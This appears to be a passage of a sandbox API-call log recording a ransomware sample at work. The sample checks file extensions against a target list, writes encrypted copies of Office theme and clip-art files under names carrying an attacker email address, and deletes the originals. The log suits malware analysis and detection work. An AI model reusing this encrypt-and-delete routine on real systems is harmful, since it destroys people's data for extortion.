	[0167.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.583] GetLastError () returned 0x0
	[0167.583] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x1b03, lpOverlapped=0x0) returned 1
	[0167.587] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0167.588] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.588] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.588] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.588] CloseHandle (hObject=0x4a4) returned 1
	[0167.589] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.589] SetEndOfFile (hFile=0x4c0) returned 1
	[0167.596] CloseHandle (hObject=0x4c0) returned 1
	[0167.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1
	[0167.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.597] lstrlenW (lpString=".doc") returned 4
	[0167.597] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.597] lstrlenW (lpString=".docx") returned 5
	[0167.597] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.597] lstrlenW (lpString=".pdf") returned 4
	[0167.597] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.597] lstrlenW (lpString=".xls") returned 4
	[0167.598] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString=".xlsx") returned 5
	[0167.598] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.598] lstrlenW (lpString=".ppt") returned 4
	[0167.598] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString=".zip") returned 4
	[0167.598] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString=".rar") returned 4
	[0167.598] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString=".bz2") returned 4
	[0167.598] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.598] lstrlenW (lpString=".7z") returned 3
	[0167.598] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString=".dbf") returned 4
	[0167.598] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString=".1cd") returned 4
	[0167.598] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString=".jpg") returned 4
	[0167.598] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.598] lstrlenW (lpString=".doc") returned 4
	[0167.598] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.598] lstrlenW (lpString=".docx") returned 5
	[0167.598] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.598] lstrlenW (lpString=".pdf") returned 4
	[0167.598] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString=".xls") returned 4
	[0167.598] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.598] lstrlenW (lpString=".xlsx") returned 5
	[0167.598] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.598] lstrlenW (lpString=".ppt") returned 4
	[0167.598] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.599] lstrlenW (lpString=".zip") returned 4
	[0167.599] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.599] lstrlenW (lpString=".rar") returned 4
	[0167.599] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.599] lstrlenW (lpString=".bz2") returned 4
	[0167.599] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.599] lstrlenW (lpString=".7z") returned 3
	[0167.599] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.599] lstrlenW (lpString=".dbf") returned 4
	[0167.599] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.599] lstrlenW (lpString=".1cd") returned 4
	[0167.599] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0167.599] lstrlenW (lpString=".jpg") returned 4
	[0167.599] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.599] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0167.599] lstrlenW (lpString="Banded Edge.eftx") returned 16
	[0167.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.725] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=47851) returned 1
	[0167.725] CloseHandle (hObject=0x440) returned 1
	[0167.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220
	[0167.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.573] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.573] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0168.574] GetLastError () returned 0x0
	[0168.574] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xbaeb, lpOverlapped=0x0) returned 1
	[0168.577] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xbaf0, lpOverlapped=0x0) returned 1
	[0168.579] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.579] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0168.579] SetEndOfFile (hFile=0x4c0) returned 1
	[0168.579] CloseHandle (hObject=0x4c0) returned 1
	[0168.579] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.579] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.583] CloseHandle (hObject=0x4d0) returned 1
	[0168.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1
	[0168.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.584] lstrlenW (lpString=".doc") returned 4
	[0168.584] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".docx") returned 5
	[0168.585] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.585] lstrlenW (lpString=".pdf") returned 4
	[0168.585] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".xls") returned 4
	[0168.585] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".xlsx") returned 5
	[0168.585] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.585] lstrlenW (lpString=".ppt") returned 4
	[0168.585] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString=".zip") returned 4
	[0168.585] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".rar") returned 4
	[0168.585] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".bz2") returned 4
	[0168.585] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".7z") returned 3
	[0168.585] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString=".dbf") returned 4
	[0168.585] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString=".1cd") returned 4
	[0168.585] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString=".jpg") returned 4
	[0168.585] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.585] lstrlenW (lpString=".doc") returned 4
	[0168.585] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.585] lstrlenW (lpString=".docx") returned 5
	[0168.585] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.585] lstrlenW (lpString=".pdf") returned 4
	[0168.585] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString=".xls") returned 4
	[0168.586] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString=".xlsx") returned 5
	[0168.586] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.586] lstrlenW (lpString=".ppt") returned 4
	[0168.586] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.586] lstrlenW (lpString=".zip") returned 4
	[0168.586] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString=".rar") returned 4
	[0168.586] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString=".bz2") returned 4
	[0168.586] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString=".7z") returned 3
	[0168.586] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.586] lstrlenW (lpString=".dbf") returned 4
	[0168.586] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.586] lstrlenW (lpString=".1cd") returned 4
	[0168.586] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0168.586] lstrlenW (lpString=".jpg") returned 4
	[0168.586] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.586] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.586] lstrlenW (lpString="Grunge Texture.eftx") returned 19
	[0168.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.587] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=352776) returned 1
	[0168.587] CloseHandle (hObject=0x4d0) returned 1
	[0168.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220
	[0168.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.588] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.588] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0168.588] GetLastError () returned 0x0
	[0168.589] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x56208, lpOverlapped=0x0) returned 1
	[0168.604] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x56210, lpOverlapped=0x0) returned 1
	[0168.613] ReadFile (in: hFile=0x4d0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.613] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0168.781] SetEndOfFile (hFile=0x4c0) returned 1
	[0168.792] CloseHandle (hObject=0x4c0) returned 1
	[0168.792] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.792] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.803] CloseHandle (hObject=0x4d0) returned 1
	[0168.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1
	[0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.804] lstrlenW (lpString=".doc") returned 4
	[0168.804] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.804] lstrlenW (lpString=".docx") returned 5
	[0168.804] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.804] lstrlenW (lpString=".pdf") returned 4
	[0168.804] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.804] lstrlenW (lpString=".xls") returned 4
	[0168.804] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.804] lstrlenW (lpString=".xlsx") returned 5
	[0168.804] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.804] lstrlenW (lpString=".ppt") returned 4
	[0168.804] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.804] lstrlenW (lpString=".zip") returned 4
	[0168.805] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".rar") returned 4
	[0168.805] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".bz2") returned 4
	[0168.805] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".7z") returned 3
	[0168.805] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString=".dbf") returned 4
	[0168.805] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString=".1cd") returned 4
	[0168.805] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString=".jpg") returned 4
	[0168.805] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString=".doc") returned 4
	[0168.805] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".docx") returned 5
	[0168.805] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.805] lstrlenW (lpString=".pdf") returned 4
	[0168.805] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".xls") returned 4
	[0168.805] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".xlsx") returned 5
	[0168.805] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.805] lstrlenW (lpString=".ppt") returned 4
	[0168.805] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.805] lstrlenW (lpString=".zip") returned 4
	[0168.805] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.805] lstrlenW (lpString=".rar") returned 4
	[0168.805] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.806] lstrlenW (lpString=".bz2") returned 4
	[0168.806] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.806] lstrlenW (lpString=".7z") returned 3
	[0168.806] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.806] lstrlenW (lpString=".dbf") returned 4
	[0168.806] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.806] lstrlenW (lpString=".1cd") returned 4
	[0168.806] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0168.806] lstrlenW (lpString=".jpg") returned 4
	[0168.806] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.806] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.806] lstrlenW (lpString="Smokey Glass.eftx") returned 17
	[0168.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.807] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=186195) returned 1
	[0168.807] CloseHandle (hObject=0x4d0) returned 1
	[0168.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220
	[0168.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
